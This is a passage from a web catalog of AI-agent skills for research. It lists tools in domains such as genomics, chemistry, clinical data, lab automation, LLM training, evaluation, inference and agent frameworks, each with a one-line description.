Seedream, Recraft, GPT-Image, Riverflow). * [`infographics`](/research-agent-skills/skills/infographics) — Generates infographics from natural-language prompts using Nano Banana Pro image generation, with optional Perplexity Sonar research for facts and a Gemini 3.6… * [`latex-posters`](/research-agent-skills/skills/latex-posters) — Creates research posters in LaTeX with beamerposter, tikzposter, or baposter, covering page sizes (A0, A1, 36x48 inch), multi-column layouts, color schemes, fi… * [`matplotlib`](/research-agent-skills/skills/matplotlib) — Low-level plotting library for full customization. * [`pptx-posters`](/research-agent-skills/skills/pptx-posters) — Create and audit editable scientific posters in macro-free PowerPoint (.pptx) from author-approved local content and assets. * [`presenting-conference-talks`](/research-agent-skills/skills/presenting-conference-talks) — Generates conference presentation slides (Beamer LaTeX PDF and editable PPTX) from a compiled paper with speaker notes and talk script. * [`scientific-schematics`](/research-agent-skills/skills/scientific-schematics) — Generates publication-style scientific diagrams as raster PNG images from a natural-language prompt, using Nano Banana 2 via OpenRouter, then scores each image… * [`scientific-slides`](/research-agent-skills/skills/scientific-slides) — Build slide decks and presentations for research talks. * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) — Create and audit truthful, accessible, publication-ready scientific figures with Matplotlib, Seaborn, or Plotly. * [`seaborn`](/research-agent-skills/skills/seaborn) — Statistical visualization with pandas integration. ## knowledge-and-rag Vector databases, embeddings, RAG and knowledge graphs over research corpora. * [`chroma`](/research-agent-skills/skills/chroma) — Open-source embedding database for AI applications. * [`faiss`](/research-agent-skills/skills/faiss) — Facebook's library for efficient similarity search and clustering of dense vectors. * [`paper-corpus-rag`](/research-agent-skills/skills/paper-corpus-rag) — Build grounded question answering and retrieval-augmented generation (RAG) over your own collection of research papers, with answers that cite the exact paper… * [`pinecone`](/research-agent-skills/skills/pinecone) — Guides use of Pinecone, a managed serverless vector database, through its Python client and the LangChain and LlamaIndex integrations. * [`qdrant-vector-search`](/research-agent-skills/skills/qdrant-vector-search) — High-performance vector similarity search engine for RAG and semantic search. * [`research-knowledge-graph`](/research-agent-skills/skills/research-knowledge-graph) — Turn a bibliography or literature corpus into a knowledge graph of papers, authors, venues, topics and citation links, then analyze it (citation clusters, key… * [`sentence-transformers`](/research-agent-skills/skills/sentence-transformers) — Generates sentence, text, and image embeddings locally with the Python sentence-transformers (SBERT) library, using pre-trained Hugging Face models such as all… ## scientific-databases Programmatic access to public scientific databases and APIs. * [`bioservices`](/research-agent-skills/skills/bioservices) — Unified Python interface to 40+ bioinformatics services. * [`cellxgene-census`](/research-agent-skills/skills/cellxgene-census) — Query the CZ CELLxGENE Census programmatically for versioned public single-cell and spatial transcriptomics data. * [`database-lookup`](/research-agent-skills/skills/database-lookup) — Query documented public database APIs with explicit endpoints, filters, pagination, and provenance. * [`depmap`](/research-agent-skills/skills/depmap) — Query the Cancer Dependency Map (DepMap) for cancer cell line gene dependency scores (CRISPR Chronos), drug sensitivity data, and gene effect profiles. * [`genomic-coordinates`](/research-agent-skills/skills/genomic-coordinates) — Convert genomic intervals between coordinate conventions, normalise and compare variant representations, and detect assembly or contig-naming mismatches before… * [`gget`](/research-agent-skills/skills/gget) — Queries 20+ bioinformatics databases and analysis services through the gget CLI and Python package, covering Ensembl gene search, info and sequences (ref, sear… * [`imaging-data-commons`](/research-agent-skills/skills/imaging-data-commons) — Query and download public cancer imaging data from NCI Imaging Data Commons. * [`ncats-arax`](/research-agent-skills/skills/ncats-arax) — Queries the NCATS Translator ARAX production API for bounded, typed, provenance-rich one-hop and endpoint-pinned two-hop biomedical knowledge-graph relationshi… * [`onekgpd`](/research-agent-skills/skills/onekgpd) — Query the 1000 Genomes Project dataset (3,202 whole-genome-sequenced individuals, GRCh38) at the level of individual participants. * [`ontology-term-resolution`](/research-agent-skills/skills/ontology-term-resolution) — Resolve free-text scientific labels to ontology term IDs and validate existing CURIEs against the EBI Ontology Lookup Service (OLS4). * [`pytdc`](/research-agent-skills/skills/pytdc) — Uses the PyTDC package (import tdc, Therapeutics Data Commons) to discover therapeutic ML tasks from tdc.metadata, plan and load approved datasets, apply task-… * [`usfiscaldata`](/research-agent-skills/skills/usfiscaldata) — Query the U.S. ## life-sciences Genomics, single-cell, proteomics, neuroscience and systems biology. * [`13c-metabolic-flux`](/research-agent-skills/skills/13c-metabolic-flux) — Estimates intracellular metabolic fluxes from steady-state carbon-13 isotope-tracing measurements using validated atom maps, mfapy isotope simulation, constrai… * [`alphagenome`](/research-agent-skills/skills/alphagenome) — Look up precomputed AlphaGenome Atlas effects for any GRCh38 single-nucleotide variant (AVI score with Phred and 18 SHAP feature attributions, plus raw and qua… * [`anndata`](/research-agent-skills/skills/anndata) — Data structure for annotated matrices in single-cell analysis. * [`arboreto`](/research-agent-skills/skills/arboreto) — Infer gene regulatory networks (GRNs) from gene expression data using scalable algorithms (GRNBoost2, GENIE3). * [`bids`](/research-agent-skills/skills/bids) — Organizes, queries, validates, and converts neuroscience and biomedical datasets using the Brain Imaging Data Structure (BIDS) standard, covering MRI, PET, EEG… * [`biopython`](/research-agent-skills/skills/biopython) — Provides Biopython (Bio.Seq, Bio.SeqIO, Bio.Align, Bio.Entrez, Bio.Blast, Bio.PDB, Bio.Phylo, Bio.motifs, Bio.SeqUtils, Bio.Restriction) for sequence handling,… * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) — End-to-end bulk RNA-seq orchestrator — takes raw FASTQ reads through QC and trimming (FastQC, fastp/Trim Galore), alignment and quantification (STAR, Salmon, f… * [`cobrapy`](/research-agent-skills/skills/cobrapy) — Runs constraint-based metabolic modeling with COBRApy (Python, import cobra) on genome-scale models in SBML, JSON, YAML, or MATLAB format. * [`deeptools`](/research-agent-skills/skills/deeptools) — Runs deepTools command-line programs on NGS alignment data: bamCoverage and bamCompare for BAM to bigWig/bedGraph with RPGC, CPM, RPKM or BPM normalization, mu… * [`esm`](/research-agent-skills/skills/esm) — Covers the EvolutionaryScale/Biohub `esm` Python SDK: ESM3 generative protein design (sequence, structure and function tracks, chain-of-thought), ESMC embeddin… * [`etetoolkit`](/research-agent-skills/skills/etetoolkit) — Analyze, manipulate, compare, annotate, and visualize phylogenetic or other hierarchical trees with ETE 4. * [`flowio`](/research-agent-skills/skills/flowio) — Read, inspect, and write Flow Cytometry Standard (FCS) 2.0, 3.0, and 3.1 files with FlowIO. * [`folklore-variant-evidence`](/research-agent-skills/skills/folklore-variant-evidence) — Retrieve ClinGen gene-disease validity assertions for a public gene or disease, and review source-linked public evidence and literature for one supported GRCh3… * [`geniml`](/research-agent-skills/skills/geniml) — Plans and audits local genomic-interval machine learning workflows with Geniml (0.8.4) and Gtars: validates BED files against chromosome sizes and assembly con… * [`genomic-intelligence`](/research-agent-skills/skills/genomic-intelligence) — Predict regulatory features, gene structure, and expression directly from DNA sequence using Genomic Intelligence's hosted transformer DNA language models — no… * [`gtars`](/research-agent-skills/skills/gtars) — Inspects and plans work with Gtars, the Rust/Python/CLI toolkit for genomic intervals: BED RegionSet set algebra (reduce, setdiff, intersect, closest, cluster,… * [`matchms`](/research-agent-skills/skills/matchms) — Process, clean, compare, and search tandem mass spectra with matchms. * [`neurokit2`](/research-agent-skills/skills/neurokit2) — Use NeuroKit2 to build or audit reproducible research workflows for physiological time-series preprocessing, event/interval analysis, multimodal alignment, var… * [`neuropixels-analysis`](/research-agent-skills/skills/neuropixels-analysis) — Analyze Neuropixels extracellular recordings end-to-end with SpikeInterface. * [`nextflow`](/research-agent-skills/skills/nextflow) — Build, run, and debug Nextflow data pipelines and nf-core workflows end to end. * [`pacsomatic`](/research-agent-skills/skills/pacsomatic) — Operator toolkit for nf-core/pacsomatic matched tumor-normal workflows from BAM inputs. * [`pathogen-variant-surveillance`](/research-agent-skills/skills/pathogen-variant-surveillance) — Query live pathogen genomic surveillance data through the GenSpectrum LAPIS API to find which viral lineages are circulating now, how fast they are growing, an… * [`pathway-enrichment`](/research-agent-skills/skills/pathway-enrichment) — Run pathway and gene-set enrichment analysis on gene lists or ranked gene data, then interpret the results. * [`polars-bio`](/research-agent-skills/skills/polars-bio) — Python library polars-bio for genomic interval operations and bioinformatics file I/O on Polars DataFrames, built on Arrow and DataFusion. * [`pydeseq2`](/research-agent-skills/skills/pydeseq2) — Runs differential expression analysis on bulk RNA-seq count data with PyDESeq2, the Python port of DESeq2. * [`pyopenms`](/research-agent-skills/skills/pyopenms) — Complete mass spectrometry analysis platform. * [`pysam`](/research-agent-skills/skills/pysam) — Python/HTSlib workflows for genomic files. * [`scanpy`](/research-agent-skills/skills/scanpy) — Standard single-cell RNA-seq analysis pipeline. * [`scikit-bio`](/research-agent-skills/skills/scikit-bio) — Python library scikit-bio for biological sequence and community-ecology analysis: DNA/RNA/protein sequences, pair\_align alignment, phylogenetic trees (NJ, UPGM… * [`scvelo`](/research-agent-skills/skills/scvelo) — Performs RNA velocity analysis with scVelo on single-cell RNA-seq AnnData objects that have spliced and unspliced layers (from velocyto, STARsolo, kallisto|bus… * [`scvi-tools`](/research-agent-skills/skills/scvi-tools) — Trains and applies scvi-tools probabilistic deep generative models (scVI, scANVI, totalVI, MultiVI, PeakVI, DestVI, Solo, CellAssign, MrVI and others) on AnnDa… * [`tiledbvcf`](/research-agent-skills/skills/tiledbvcf) — Stores and queries genomic variant data in TileDB-VCF datasets using the tiledbvcf Python API and CLI (create, store, export, list, stat). * [`waypoint-bio`](/research-agent-skills/skills/waypoint-bio) — Use when working with Outpost Bio's open microbiome foundation models - the Waypoint checkpoints (Waypoint-6m, Waypoint-45m, Waypoint-170m), the Atlas pretrain… ## chemistry-and-drug-discovery Cheminformatics, molecular modelling, protein design and pharmacology. * [`adaptyv`](/research-agent-skills/skills/adaptyv) — How to use the Adaptyv Bio Foundry API and Python SDK for protein experiment design, submission, and results retrieval. * [`datamol`](/research-agent-skills/skills/datamol) — Wraps RDKit through the datamol Python library (import datamol as dm) for molecular cheminformatics, returning native rdkit.Chem.Mol objects. * [`deepchem`](/research-agent-skills/skills/deepchem) — Molecular ML with diverse featurizers and pre-built datasets. * [`diffdock`](/research-agent-skills/skills/diffdock) — DiffDock and DiffDock-L molecular docking. * [`medchem`](/research-agent-skills/skills/medchem) — Filters and triages small-molecule libraries with the Python medchem library (datamol-io, v2.0.5) on top of RDKit and datamol. * [`molecular-dynamics`](/research-agent-skills/skills/molecular-dynamics) — Runs and analyzes molecular dynamics simulations using OpenMM and MDAnalysis. * [`molfeat`](/research-agent-skills/skills/molfeat) — Converts SMILES strings or RDKit/datamol molecules into numerical features using molfeat (0.11.0), which provides calculators, scikit-learn compatible transfor… * [`pkpd-modeling`](/research-agent-skills/skills/pkpd-modeling) — Pharmacokinetic and pharmacodynamic modelling and simulation - non-compartmental analysis, compartmental and population PK, PK/PD and exposure-response, TMDD,… * [`rdkit`](/research-agent-skills/skills/rdkit) — Guides use of RDKit (Python) for reading and writing SMILES, MOL/SDF, and InChI, computing descriptors (MW, LogP, TPSA), generating Morgan/MACCS/atom-pair fing… * [`rowan`](/research-agent-skills/skills/rowan) — Rowan is a cloud-native molecular modeling and medicinal-chemistry workflow platform with a Python API. * [`tamarind`](/research-agent-skills/skills/tamarind) — Access a collection of open-source molecular design and structural biology tools on the Tamarind Bio platform, via its REST API or MCP server — no local GPUs r… * [`torchdrug`](/research-agent-skills/skills/torchdrug) — Build and troubleshoot TorchDrug 0.2.1 workflows for molecular graphs, property prediction, self-supervised pretraining, molecule generation, retrosynthesis, p… ## clinical-and-health Clinical research, medical imaging, pathology and health data. * [`clinical-decision-support`](/research-agent-skills/skills/clinical-decision-support) — Prepare and validate research-only clinical decision-support evaluation, evidence-profile, cohort, survival, biomarker/model, privacy, and governance artifacts. * [`clinical-reports`](/research-agent-skills/skills/clinical-reports) — Generates fail-closed draft JSON templates and runs local deterministic structure and consistency checks for clinical reports: CARE case reports, radiology, pa… * [`histolab`](/research-agent-skills/skills/histolab) — Extracts tiles and preprocesses H\&E whole slide images with the histolab Python library (OpenSlide), covering slide inspection, tissue masks (TissueMask, Bigge… * [`pathml`](/research-agent-skills/skills/pathml) — Covers local, research-only computational pathology with PathML 3.0.5: loading and tiling whole-slide images (OpenSlide, Bio-Formats), preprocessing and QC pip… * [`pydicom`](/research-agent-skills/skills/pydicom) — Reads, inspects, writes, and transforms local DICOM files with pydicom 3.x (dcmread, dcmwrite, pydicom.pixels), including metadata, transfer syntaxes, compress… * [`pyhealth`](/research-agent-skills/skills/pyhealth) — Builds clinical deep-learning pipelines with PyHealth using its Dataset → Task → Model → Trainer → Metrics pattern. * [`treatment-plans`](/research-agent-skills/skills/treatment-plans) — Format and structurally validate local treatment-plan documentation after clinical decisions have already been supplied and verified by authorized licensed pro… ## physical-sciences Physics, astronomy, quantum computing, materials and earth science. * [`astropy`](/research-agent-skills/skills/astropy) — Core Python library for astronomy and astrophysics workflows that need Astropy APIs, including units/quantities, coordinates, FITS I/O, tables, time systems, W… * [`cirq`](/research-agent-skills/skills/cirq) — Google quantum computing framework. * [`fluidsim`](/research-agent-skills/skills/fluidsim) — Plan, configure, inspect, restart, and analyze bounded FluidSim computational-fluid-dynamics simulations with explicit numerical-validity and HPC safety checks. * [`geomaster`](/research-agent-skills/skills/geomaster) — Provides geospatial and Earth observation workflows using GeoPandas, Rasterio, GDAL, Xarray, Shapely, Laspy, PDAL, Google Earth Engine, and STAC/Planetary Comp… * [`geopandas`](/research-agent-skills/skills/geopandas) — Guidance and local audit CLIs for Python workflows using GeoPandas 1.1.4 GeoSeries and GeoDataFrame for planar vector data: CRS handling, geometry validity and… * [`openpiv`](/research-agent-skills/skills/openpiv) — Particle Image Velocimetry (PIV) analysis with OpenPIV. * [`pennylane`](/research-agent-skills/skills/pennylane) — Hardware-agnostic quantum ML framework with automatic differentiation. * [`pymatgen`](/research-agent-skills/skills/pymatgen) — Analyzes, validates, converts, and transforms crystal structures and molecules with pymatgen. * [`qiskit`](/research-agent-skills/skills/qiskit) — Build, simulate, transpile, and execute quantum circuits with Qiskit and IBM Quantum Runtime. * [`qutip`](/research-agent-skills/skills/qutip) — Simulate and audit closed and open quantum-system models with QuTiP 5, including deterministic, trajectory, steady-state, spectral, and phase-space workflows. ## lab-automation Lab platforms, ELNs, liquid handlers and manufacturing integrations. * [`benchling-integration`](/research-agent-skills/skills/benchling-integration) — Benchling Python SDK and REST API integration for registry entities, inventory, ELN entries, workflows, Benchling Apps, and Data Warehouse queries. * [`dnanexus-integration`](/research-agent-skills/skills/dnanexus-integration) — Build and operate reproducible genomics workloads on DNAnexus with the dx CLI, dxpy, apps/applets, native workflows, dxCompiler, and Nextflow. * [`fictiv`](/research-agent-skills/skills/fictiv) — Drives the Fictiv on-demand manufacturing web app (app.fictiv.com) in the user's browser, since there is no public API. * [`ginkgo-cloud-lab`](/research-agent-skills/skills/ginkgo-cloud-lab) — Submit and manage protocols on Ginkgo Bioworks Cloud Lab (cloud.ginkgo.bio), a web-based interface for autonomous lab execution on Reconfigurable Automation Ca… * [`lab-hardware-cad`](/research-agent-skills/skills/lab-hardware-cad) — Design custom laboratory hardware as parametric build123d models and export fabrication-ready STEP, STL, and DXF files - microfluidic chips and molds, optomech… * [`labarchive-integration`](/research-agent-skills/skills/labarchive-integration) — Securely integrate with the official LabArchives ELN REST-like API and Inventory API v1. * [`latchbio-integration`](/research-agent-skills/skills/latchbio-integration) — Build, register, debug, and operate bioinformatics workflows on Latch using the Python SDK, CLI, Latch Data and Registry, Nextflow, Snakemake, programmatic exe… * [`omero-integration`](/research-agent-skills/skills/omero-integration) — Securely inspect and automate microscopy data workflows against OMERO.server with omero-py, BlitzGateway, OMERO CLI, tables, annotations, ROIs, rendering, and… * [`opentrons-integration`](/research-agent-skills/skills/opentrons-integration) — Author, review, migrate, simulate, and troubleshoot official Opentrons Python Protocol API v2 protocols for Flex and OT-2 robots. * [`protocolsio-integration`](/research-agent-skills/skills/protocolsio-integration) — Reads, validates, and exports protocols.io data using the documented REST v3/v4 endpoints and the official MCP endpoint, and builds non-executing mutation plan… * [`pylabrobot`](/research-agent-skills/skills/pylabrobot) — Develop and review PyLabRobot lab-automation resources, liquid-handling plans, offline simulations, and supported-device integrations. ## research-automation Autonomous research loops, agent harnesses and research artifacts. * [`ara-compiler`](/research-agent-skills/skills/ara-compiler) — Compiles any research input — PDF papers, GitHub repositories, experiment logs, code directories, or raw notes — into a complete Agent-Native Research Artifact… * [`ara-research-manager`](/research-agent-skills/skills/ara-research-manager) — Records research provenance at the end of a coding or research session by scanning the conversation and writing decisions, experiments, dead ends, pivots, clai… * [`ara-rigor-reviewer`](/research-agent-skills/skills/ara-rigor-reviewer) — Performs ARA Seal Level 2 semantic epistemic review of an Agent-Native Research Artifact directory, reading PAPER.md, logic/claims.md, logic/experiments.md, an… * [`arbor`](/research-agent-skills/skills/arbor) — Autonomously improve a real artifact (code, training recipe, agent harness, data pipeline, prompt) against an objective and an evaluator, using Hypothesis Tree… * [`autoresearch`](/research-agent-skills/skills/autoresearch) — Orchestrates end-to-end autonomous AI research projects using a two-loop architecture. * [`autoskill`](/research-agent-skills/skills/autoskill) — Observe the user's screen via screenpipe, detect repeated research workflows, match them against existing research-agent-skills, and draft new skills (or compo… * [`pi-agent`](/research-agent-skills/skills/pi-agent) — Build with and use Pi, the minimal terminal coding harness. * [`research-agent-skills`](/research-agent-skills/skills/research-agent-skills) — Navigate the Research Agent Skills collection by Kalaris Labs for academia across AI, machine learning, biology, chemistry, medicine, physics, and academic wri… * [`research-skill-creator`](/research-agent-skills/skills/research-skill-creator) — Create, improve and test agent skills for research workflows (paper writing, lab protocols, analysis pipelines, domain databases) that meet the Agent Skills sp… ## ml-training Model architectures, tokenization, fine-tuning, post-training, distributed training, optimization. * [`awq-quantization`](/research-agent-skills/skills/awq-quantization) — Activation-aware weight quantization for 4-bit LLM compression with 3x speedup and minimal accuracy loss. * [`axolotl`](/research-agent-skills/skills/axolotl) — Provides guidance for fine-tuning large language models with Axolotl, covering YAML training configs, LoRA and QLoRA, preference training with DPO, KTO, ORPO a… * [`deepspeed`](/research-agent-skills/skills/deepspeed) — Covers DeepSpeed for distributed deep learning training and I/O: ZeRO optimization stages, pipeline parallelism, FP16/BF16/FP8 training, 1-bit Adam, sparse att… * [`distributed-llm-pretraining-torchtitan`](/research-agent-skills/skills/distributed-llm-pretraining-torchtitan) — Provides PyTorch-native distributed LLM pretraining using torchtitan with 4D parallelism (FSDP2, TP, PP, CP). * [`fine-tuning-with-trl`](/research-agent-skills/skills/fine-tuning-with-trl) — Fine-tune LLMs using reinforcement learning with TRL - SFT for instruction tuning, DPO for preference alignment, PPO/GRPO for reward optimization, and reward m… * [`gguf-quantization`](/research-agent-skills/skills/gguf-quantization) — GGUF format and llama.cpp quantization for efficient CPU/GPU inference. * [`gptq`](/research-agent-skills/skills/gptq) — Quantizes LLMs to 4-bit (also 3-bit) with GPTQ using group-wise quantization (group size 128 by default), via AutoGPTQ and transformers. * [`grpo-rl-training`](/research-agent-skills/skills/grpo-rl-training) — Guides GRPO (Group Relative Policy Optimization) fine-tuning of language models with the TRL library, including GRPOTrainer configuration, composing multiple r… * [`hqq-quantization`](/research-agent-skills/skills/hqq-quantization) — Half-Quadratic Quantization for LLMs without calibration data. * [`huggingface-accelerate`](/research-agent-skills/skills/huggingface-accelerate) — Wraps existing PyTorch training scripts with HuggingFace Accelerate (Accelerator class, accelerate config, accelerate launch) so the same code runs on CPU, sin… * [`huggingface-tokenizers`](/research-agent-skills/skills/huggingface-tokenizers) — Provides the HuggingFace Tokenizers library (Rust core with Python and Node.js bindings) for training and using BPE, WordPiece, and Unigram tokenizers. * [`implementing-llms-litgpt`](/research-agent-skills/skills/implementing-llms-litgpt) — Implements and trains LLMs using Lightning AI's LitGPT with 20+ pretrained architectures (Llama, Gemma, Phi, Qwen, Mistral). * [`llama-factory`](/research-agent-skills/skills/llama-factory) — Guides fine-tuning of large language models with LLaMA-Factory, covering the WebUI no-code interface, training across 100+ supported models, quantized QLoRA at… * [`mamba-architecture`](/research-agent-skills/skills/mamba-architecture) — Explains how to use Mamba selective state-space models (state-spaces/mamba package, Mamba-1 with d\_state=16 and Mamba-2 with multi-head structure and d\_state=1… * [`miles-rl-training`](/research-agent-skills/skills/miles-rl-training) — Provides guidance for enterprise-grade RL training using miles, a production-ready fork of slime. * [`ml-training-recipes`](/research-agent-skills/skills/ml-training-recipes) — Battle-tested PyTorch training recipes for all domains — LLMs, vision, diffusion, medical imaging, protein/drug discovery, spatial omics, genomics. * [`nanogpt`](/research-agent-skills/skills/nanogpt) — Provides nanoGPT, Karpathy's minimal PyTorch GPT implementation (model.py and train.py), with workflows for training character-level Shakespeare on CPU, reprod… * [`openrlhf-training`](/research-agent-skills/skills/openrlhf-training) — High-performance RLHF framework with Ray+vLLM acceleration. * [`optimizing-attention-flash`](/research-agent-skills/skills/optimizing-attention-flash) — Enables Flash Attention for transformer models using PyTorch native scaled\_dot\_product\_attention (PyTorch 2.2+) or the flash-attn library, including multi-quer… * [`peft-fine-tuning`](/research-agent-skills/skills/peft-fine-tuning) — Fine-tunes LLMs with Hugging Face PEFT, using LoRA, QLoRA, IA3, AdaLoRA, prefix tuning, and prompt tuning so that under 1% of parameters are trained. * [`pytorch-fsdp2`](/research-agent-skills/skills/pytorch-fsdp2) — Adds PyTorch FSDP2 (fully\_shard) to training scripts with correct init, sharding, mixed precision/offload config, and distributed checkpointing. * [`pytorch-lightning-distributed`](/research-agent-skills/skills/pytorch-lightning-distributed) — High-level PyTorch framework with Trainer class, automatic distributed training (DDP/FSDP/DeepSpeed), callbacks system, and minimal boilerplate. * [`quantizing-models-bitsandbytes`](/research-agent-skills/skills/quantizing-models-bitsandbytes) — Quantizes LLMs to 8-bit or 4-bit for 50-75% memory reduction with minimal accuracy loss. * [`ray-train`](/research-agent-skills/skills/ray-train) — Distributed training orchestration across clusters. * [`rwkv-architecture`](/research-agent-skills/skills/rwkv-architecture) — Covers the RWKV (Receptance Weighted Key Value) architecture, an RNN/Transformer hybrid with O(n) inference and no KV cache, including RWKV-7, its parallel GPT… * [`sentencepiece`](/research-agent-skills/skills/sentencepiece) — Language-independent tokenizer treating text as raw Unicode. * [`simpo-training`](/research-agent-skills/skills/simpo-training) — Simple Preference Optimization for LLM alignment. * [`slime-rl-training`](/research-agent-skills/skills/slime-rl-training) — Provides guidance for LLM post-training with RL using slime, a Megatron+SGLang framework. * [`torchforge-rl-training`](/research-agent-skills/skills/torchforge-rl-training) — Provides guidance for PyTorch-native agentic RL using torchforge, Meta's library separating infra from algorithms. * [`training-llms-megatron`](/research-agent-skills/skills/training-llms-megatron) — Trains large language models (2B-462B parameters) with NVIDIA Megatron-Core using tensor, pipeline, sequence, context, and expert parallelism, plus FP8 on H100… * [`unsloth`](/research-agent-skills/skills/unsloth) — Provides guidance on fine-tuning large language models with Unsloth, a library for faster, lower-memory training using LoRA and QLoRA, based on its official do… * [`verl-rl-training`](/research-agent-skills/skills/verl-rl-training) — Provides guidance for training LLMs with reinforcement learning using verl (Volcano Engine RL). ## ml-evaluation-and-safety Evaluation harnesses, interpretability and safety/alignment. * [`constitutional-ai`](/research-agent-skills/skills/constitutional-ai) — Anthropic's method for training harmless AI through self-improvement. * [`evaluating-code-models`](/research-agent-skills/skills/evaluating-code-models) — Evaluates code generation models across HumanEval, MBPP, MultiPL-E, and 15+ benchmarks with pass\@k metrics. * [`evaluating-llms-harness`](/research-agent-skills/skills/evaluating-llms-harness) — Evaluates LLMs across 60+ academic benchmarks (MMLU, HumanEval, GSM8K, TruthfulQA, HellaSwag). * [`llamaguard`](/research-agent-skills/skills/llamaguard) — Classifies LLM prompts and responses as safe or unsafe using Meta's LlamaGuard (7B v1, 8B v2 and v3) across six categories: violence and hate, sexual content,… * [`nemo-evaluator-sdk`](/research-agent-skills/skills/nemo-evaluator-sdk) — Evaluates LLMs across 100+ benchmarks from 18+ harnesses (MMLU, HumanEval, GSM8K, safety, VLM) with multi-backend execution. * [`nemo-guardrails`](/research-agent-skills/skills/nemo-guardrails) — Adds runtime safety rails to LLM applications with NVIDIA NeMo Guardrails, configured through Colang 2.0 flows. * [`nnsight-remote-interpretability`](/research-agent-skills/skills/nnsight-remote-interpretability) — Provides guidance for interpreting and manipulating neural network internals using nnsight with optional NDIF remote execution. * [`prompt-guard`](/research-agent-skills/skills/prompt-guard) — Classifies text with Meta's Prompt Guard, an 86M-parameter model loaded from HuggingFace, into BENIGN, INJECTION or JAILBREAK labels to detect prompt injection… * [`pyvene-interventions`](/research-agent-skills/skills/pyvene-interventions) — Provides guidance for performing causal interventions on PyTorch models using pyvene's declarative intervention framework. * [`sparse-autoencoder-training`](/research-agent-skills/skills/sparse-autoencoder-training) — Provides guidance for training and analyzing Sparse Autoencoders (SAEs) using SAELens to decompose neural network activations into interpretable features. * [`transformer-lens-interpretability`](/research-agent-skills/skills/transformer-lens-interpretability) — Provides guidance for mechanistic interpretability research using TransformerLens to inspect and manipulate transformer internals via HookPoints and activation… ## ml-inference-and-ops Inference serving, GPU infrastructure, MLOps and observability. * [`experiment-tracking-swanlab`](/research-agent-skills/skills/experiment-tracking-swanlab) — Tracks ML experiments with SwanLab, an open-source tool covering swanlab.init, config and metric logging, scalar charts, and media logging (images, audio, text… * [`lambda-labs-gpu-cloud`](/research-agent-skills/skills/lambda-labs-gpu-cloud) — Reserved and on-demand GPU cloud instances for ML training and inference. * [`langsmith-observability`](/research-agent-skills/skills/langsmith-observability) — LLM observability platform for tracing, evaluation, and monitoring. * [`llama-cpp`](/research-agent-skills/skills/llama-cpp) — Runs LLM inference on CPU, Apple Silicon, and consumer GPUs without NVIDIA hardware. * [`mlflow`](/research-agent-skills/skills/mlflow) — Tracks machine learning experiments and manages model lifecycles with MLflow, covering mlflow\.log\_param, log\_metric and log\_artifact, autologging for scikit-le… * [`modal-serverless-gpu`](/research-agent-skills/skills/modal-serverless-gpu) — Serverless GPU cloud platform for running ML workloads. * [`phoenix-observability`](/research-agent-skills/skills/phoenix-observability) — Open-source AI observability platform for LLM tracing, evaluation, and monitoring. * [`serving-llms-vllm`](/research-agent-skills/skills/serving-llms-vllm) — Serves LLMs with high throughput using vLLM's PagedAttention and continuous batching. * [`sglang`](/research-agent-skills/skills/sglang) — Fast structured generation and serving for LLMs with RadixAttention prefix caching. * [`skypilot-multi-cloud-orchestration`](/research-agent-skills/skills/skypilot-multi-cloud-orchestration) — Multi-cloud orchestration for ML workloads with automatic cost optimization. * [`tensorboard`](/research-agent-skills/skills/tensorboard) — Logs and views ML training data in TensorBoard using PyTorch SummaryWriter and TensorFlow/Keras callbacks: scalars, images, text, histograms, model graphs, emb… * [`tensorrt-llm`](/research-agent-skills/skills/tensorrt-llm) — Optimizes LLM inference with NVIDIA TensorRT for maximum throughput and lowest latency. * [`weights-and-biases`](/research-agent-skills/skills/weights-and-biases) — Logs and tracks machine learning experiments with Weights & Biases (W\&B, wandb): metrics, hyperparameters, checkpoints, sweeps, artifacts with lineage, model r… ## llm-applications Agent frameworks, prompt engineering and structured generation. * [`autogpt-agents`](/research-agent-skills/skills/autogpt-agents) — Autonomous AI agent platform for building and deploying continuous agents. * [`crewai-multi-agent`](/research-agent-skills/skills/crewai-multi-agent) — Multi-agent orchestration framework for autonomous AI collaboration. * [`dspy`](/research-agent-skills/skills/dspy) — Builds and optimizes language model programs with DSPy (Stanford NLP), using Signatures, modules (Predict, ChainOfThought, ReAct, ProgramOfThought) and optimiz… * [`evolving-ai-agents`](/research-agent-skills/skills/evolving-ai-agents) — Provides guidance for automatically evolving and optimizing AI agents across any domain using LLM-driven evolution algorithms. * [`guidance`](/research-agent-skills/skills/guidance) — Constrains LLM output during generation with Guidance (Microsoft Research), using regex, select() choices, context-free grammars, token healing, and @guidance… * [`instructor`](/research-agent-skills/skills/instructor) — Extracts structured, validated data from LLM responses using the Instructor Python library with Pydantic response models, including nested models, enums, custo… * [`langchain`](/research-agent-skills/skills/langchain) — Framework for building LLM-powered applications with agents, chains, and RAG. * [`llamaindex`](/research-agent-skills/skills/llamaindex) — Data framework for building LLM applications with RAG. * [`outlines`](/research-agent-skills/skills/outlines) — Generates guaranteed-valid structured output from LLMs with Outlines (dottxt.ai), constraining token sampling via finite state machines for JSON schemas, Pydan… ## multimodal-and-emerging Vision, audio, robotics, data processing and emerging techniques. * [`audiocraft-audio-generation`](/research-agent-skills/skills/audiocraft-audio-generation) — PyTorch library for audio generation including text-to-music (MusicGen) and text-to-sound (AudioGen). * [`blip-2-vision-language`](/research-agent-skills/skills/blip-2-vision-language) — Explains how to use Salesforce BLIP-2 (Q-Former bridging a frozen image encoder and an LLM such as OPT or FlanT5) through HuggingFace Transformers and LAVIS fo… * [`clip`](/research-agent-skills/skills/clip) — OpenAI's model connecting vision and language. * [`evaluating-cosmos-policy`](/research-agent-skills/skills/evaluating-cosmos-policy) — Evaluates NVIDIA Cosmos Policy on LIBERO and RoboCasa simulation environments. * [`fine-tuning-openvla-oft`](/research-agent-skills/skills/fine-tuning-openvla-oft) — Fine-tunes and evaluates OpenVLA-OFT and OpenVLA-OFT+ policies for robot action generation with continuous action heads, LoRA adaptation, and FiLM conditioning… * [`fine-tuning-serving-openpi`](/research-agent-skills/skills/fine-tuning-serving-openpi) — Fine-tune and serve Physical Intelligence OpenPI models (pi0, pi0-fast, pi0.5) using JAX or PyTorch backends for robot policy inference across ALOHA, DROID, an… * [`knowledge-distillation`](/research-agent-skills/skills/knowledge-distillation) — Compress large language models using knowledge distillation from teacher to student models. * [`llava`](/research-agent-skills/skills/llava) — Large Language and Vision Assistant. * [`long-context`](/research-agent-skills/skills/long-context) — Extend context windows of transformer models using RoPE, YaRN, ALiBi, and position interpolation techniques. * [`model-merging`](/research-agent-skills/skills/model-merging) — Merge multiple fine-tuned models using mergekit to combine capabilities without retraining. * 